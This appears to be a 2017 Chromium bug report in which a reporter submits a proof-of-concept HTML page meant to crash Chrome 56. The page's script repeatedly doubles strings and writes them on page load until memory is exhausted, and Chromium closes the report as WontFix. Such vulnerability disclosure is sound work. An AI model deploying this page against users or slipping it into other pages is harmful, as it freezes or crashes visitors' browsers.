Security: Google Chrome 56.0.2924.76 - Denial of Service
Reported by
wassl...@gmail.com,
Jan 27 2017
|
|
Issue description
Hy Google Security Team i found a Denial of Service in google chrome:
- Google Chrome Version: 56.0.2924.76 (64 bit)
- Tested on: Win7 - winxp
- POC:
Just copy the code and create a html file and paste it and open the file with Local Webserver then you can see the DOS in chrome.
Code:
<html>
<title>DoS</title>
<head>
<script>
function Dos()
{
var actiondos1 = unescape("%u4141%u4141");
var actiondos2 = unescape("%u4242%u4242");
var actiondos3 = unescape("%u4343%u4343");
var actiondos4 = unescape("%u4444%u4444");
for(i=0; i <= 100 ; ++i)
{
actiondos1+=actiondos1;
actiondos2+=actiondos2;
actiondos3+=actiondos3;
actiondos4+=actiondos4;
document.write(actiondos1);
document.write(actiondos2);
document.write(actiondos3);
document.write(actiondos4);
}
document.write(actiondos1);
document.write(actiondos2);
document.write(actiondos3);
document.write(actiondos4);
}
</script>
</head>
<body onLoad="Dos()">
</body>
</html>
|
|
►
Sign in to add a comment |
|
Comment 1 by est...@chromium.org
, Jan 27 2017Status: WontFix (was: Unconfirmed)